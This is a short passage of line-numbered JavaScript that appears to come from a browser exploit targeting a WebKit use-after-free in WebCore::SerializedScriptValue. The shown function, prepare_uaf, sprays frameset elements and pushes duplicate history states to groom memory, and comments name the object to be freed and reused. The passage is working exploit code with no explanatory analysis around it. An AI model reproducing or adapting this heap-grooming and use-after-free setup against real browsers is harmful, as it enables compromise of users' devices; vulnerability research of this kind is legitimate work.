| 151 | } |
| 152 | |
| 153 | function prepare_uaf() { |
| 154 | const fsets = []; |
| 155 | const indices = []; |
| 156 | |
| 157 | function alloc_fs(fsets, size) { |
| 158 | for (let i = 0; i < size / 2; i++) { |
| 159 | const fset = document.createElement('frameset'); |
| 160 | fset.rows = rows; |
| 161 | fset.cols = rows; |
| 162 | fsets.push(fset); |
| 163 | } |
| 164 | } |
| 165 | |
| 166 | history.pushState('state0', ''); |
| 167 | |
| 168 | alloc_fs(fsets, num_fsets); |
| 169 | |
| 170 | // the "state1" SSVs is what we will UaF |
| 171 | |
| 172 | history.pushState('state1', '', original_loc + '#foo'); |
| 173 | indices.push(fsets.length); |
| 174 | |
| 175 | alloc_fs(fsets, num_spaces); |
| 176 | |
| 177 | history.pushState('state1', '', original_loc + '#foo'); |
| 178 | indices.push(fsets.length); |
| 179 | |
| 180 | alloc_fs(fsets, num_fsets); |
| 181 | |
| 182 | history.pushState('state2', ''); |
| 183 | return [fsets, indices]; |
| 184 | } |
| 185 | |
| 186 | // WebCore::SerializedScriptValue use-after-free |
| 187 | // |